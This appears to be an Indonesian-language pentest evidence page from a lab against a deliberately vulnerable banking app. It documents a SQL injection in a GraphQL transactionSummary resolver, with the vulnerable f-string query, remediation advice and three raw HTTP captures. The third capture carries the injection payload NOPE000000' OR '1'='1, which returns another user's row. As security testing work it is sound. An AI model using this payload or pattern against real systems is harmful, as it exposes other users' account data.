Skenario 17 / 26FAIL

SQL Injection - GraphQL - Transaction Summary Resolver

Lingkungan lab — bukan sistem produksi

Tangkapan layar dan trafik mentah tidak diterjemahkan; teks di dalamnya mungkin menggunakan bahasa lain.

vuln-bank/Evidence/[FAIL] SQL Injection - GraphQL - Transaction Summary Resolver

01 — Catatan

Catatan pengujian

Kerentanan

[FAIL] SQL Injection - GraphQL - Transaction Summary Resolver

Deskripsi

Resolver transactionSummary meneruskan argumen accountNumber ke fungsi _load_actor_by_account_number yang membangun query dengan f-string: SELECT id, username, account_number, is_admin FROM users WHERE account_number = '{account_number}'. Bagi pemanggil dengan peran administrator, nilai argumen tidak dibatasi sama sekali sehingga dapat menyisipkan sintaks SQL.

Dampak

Confidentiality (High): injeksi SQL pada lapisan GraphQL memungkinkan pengambilan baris tabel users di luar rekening yang diminta. Karena peran administrator pada aplikasi ini dapat diperoleh melalui beberapa jalur yang telah dibuktikan terpisah (injeksi SQL pada login, mass assignment saat pendaftaran, dan pemalsuan JWT), prasyarat administrator bukan penghalang nyata bagi penyerang.

CWE

CWE-89: Improper Neutralization of Special Elements used in an SQL Command

OWASP

A03:2021 - Injection

Skenario

Normal: accountNumber berisi rekening yang sah -> ringkasan transaksi rekening tersebut dikembalikan. Kontrol: accountNumber berisi rekening yang tidak ada (NOPE000000) -> galat Account not found. Eksploitasi: nilai yang sama ditambah sintaks injeksi NOPE000000' OR '1'='1 -> kondisi WHERE selalu benar, baris pertama tabel users dikembalikan meski rekening tersebut tidak ada.

Endpoint

POST http://127.0.0.1:5001/graphql

Fitur terdampak

GraphQL transactionSummary (ringkasan transaksi)

Rekomendasi perbaikan

- Gunakan parameterized query pada seluruh resolver; hapus perangkaian string SQL. - Validasi format accountNumber dengan allow-list karakter sebelum menyentuh database. - Terapkan prinsip hak akses minimal pada akun database yang dipakai aplikasi. - Jangan mengandalkan peran pemanggil sebagai pengganti sanitasi input.

Bukti konsep

1) (Screenshot 1) NORMAL: accountNumber ADMIN001 -> ringkasan transaksi dikembalikan secara wajar. 2) (Screenshot 2) KONTROL: accountNumber NOPE000000 yang tidak ada -> galat Account not found. 3) (Screenshot 3) DAMPAK CIA: accountNumber NOPE000000' OR '1'='1 -> query dimanipulasi sehingga mengembalikan baris ADMIN001 meski rekening yang diminta tidak ada, membuktikan eksekusi SQL yang disisipkan.
Lihat catatan sumber (bahasa Indonesia)
Vulnerability:
[FAIL] SQL Injection - GraphQL - Transaction Summary Resolver

Description:
Resolver transactionSummary meneruskan argumen accountNumber ke fungsi _load_actor_by_account_number yang membangun query dengan f-string: SELECT id, username, account_number, is_admin FROM users WHERE account_number = '{account_number}'. Bagi pemanggil dengan peran administrator, nilai argumen tidak dibatasi sama sekali sehingga dapat menyisipkan sintaks SQL.

Impact:
Confidentiality (High): injeksi SQL pada lapisan GraphQL memungkinkan pengambilan baris tabel users di luar rekening yang diminta. Karena peran administrator pada aplikasi ini dapat diperoleh melalui beberapa jalur yang telah dibuktikan terpisah (injeksi SQL pada login, mass assignment saat pendaftaran, dan pemalsuan JWT), prasyarat administrator bukan penghalang nyata bagi penyerang.

CWE:
CWE-89: Improper Neutralization of Special Elements used in an SQL Command

OWASP:
A03:2021 - Injection

Scenario:
Normal: accountNumber berisi rekening yang sah -> ringkasan transaksi rekening tersebut dikembalikan. Kontrol: accountNumber berisi rekening yang tidak ada (NOPE000000) -> galat Account not found. Eksploitasi: nilai yang sama ditambah sintaks injeksi NOPE000000' OR '1'='1 -> kondisi WHERE selalu benar, baris pertama tabel users dikembalikan meski rekening tersebut tidak ada.

Endpoint:
POST http://127.0.0.1:5001/graphql

Affected Feature:
GraphQL transactionSummary (ringkasan transaksi)

Remediation:
- Gunakan parameterized query pada seluruh resolver; hapus perangkaian string SQL.
- Validasi format accountNumber dengan allow-list karakter sebelum menyentuh database.
- Terapkan prinsip hak akses minimal pada akun database yang dipakai aplikasi.
- Jangan mengandalkan peran pemanggil sebagai pengganti sanitasi input.

POC:
1) (Screenshot 1) NORMAL: accountNumber ADMIN001 -> ringkasan transaksi dikembalikan secara wajar.
2) (Screenshot 2) KONTROL: accountNumber NOPE000000 yang tidak ada -> galat Account not found.
3) (Screenshot 3) DAMPAK CIA: accountNumber NOPE000000' OR '1'='1 -> query dimanipulasi sehingga mengembalikan baris ADMIN001 meski rekening yang diminta tidak ada, membuktikan eksekusi SQL yang disisipkan.

02 — Tangkapan layar

Tangkapan layar (3)

01 / 1
02 / 2
03 / 3

03 — Request dan response

Rekaman HTTP

Sebagian nilai kredensial disamarkan pada tampilan HTML publik ini. Penyamaran ini tidak menjamin bahwa seluruh data sensitif atau berkas tertaut sudah disamarkan.

REKAMAN 01 / 1
HTTP request
POST /graphql HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Type: application/json
Content-Length: 146

{"query": "query($a:String){transactionSummary(accountNumber:$a,limit:2){scope accountNumber totalTransactions}}", "variables": {"a": "ADMIN001"}}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 146
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:26 GMT

{
  "data": {
    "transactionSummary": {
      "accountNumber": "ADMIN001",
      "scope": "account",
      "totalTransactions": 0
    }
  }
}
REKAMAN 02 / 2
HTTP request
POST /graphql HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Type: application/json
Content-Length: 148

{"query": "query($a:String){transactionSummary(accountNumber:$a,limit:2){scope accountNumber totalTransactions}}", "variables": {"a": "NOPE000000"}}
HTTP response
HTTP/1.1 400 BAD REQUEST
Content-Type: application/json
Content-Length: 331
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:27 GMT

{
  "data": {
    "transactionSummary": null
  },
  "errors": [
    {
      "message": "Account not found.\n\nGraphQL request:1:18\n1 | query($a:String){transactionSummary(accountNumber:$a,limit:2){scope accountNumber totalTransactions}}\n  |                  ^",
      "path": [
        "transactionSummary"
      ]
    }
  ]
}
REKAMAN 03 / 3
HTTP request
POST /graphql HTTP/1.1
User-Agent: python-requests/2.33.1
Accept-Encoding: gzip, deflate, br, zstd
Accept: */*
Connection: keep-alive
Authorization: Bearer [REDACTED-LAB-TOKEN]
Content-Type: application/json
Content-Length: 159

{"query": "query($a:String){transactionSummary(accountNumber:$a,limit:2){scope accountNumber totalTransactions}}", "variables": {"a": "NOPE000000' OR '1'='1"}}
HTTP response
HTTP/1.1 200 OK
Content-Type: application/json
Content-Length: 146
Access-Control-Allow-Origin: *
Server: Werkzeug/2.0.1 Python/3.9.25
Date: Wed, 30 Sep 2026 03:02:28 GMT

{
  "data": {
    "transactionSummary": {
      "accountNumber": "ADMIN001",
      "scope": "account",
      "totalTransactions": 0
    }
  }
}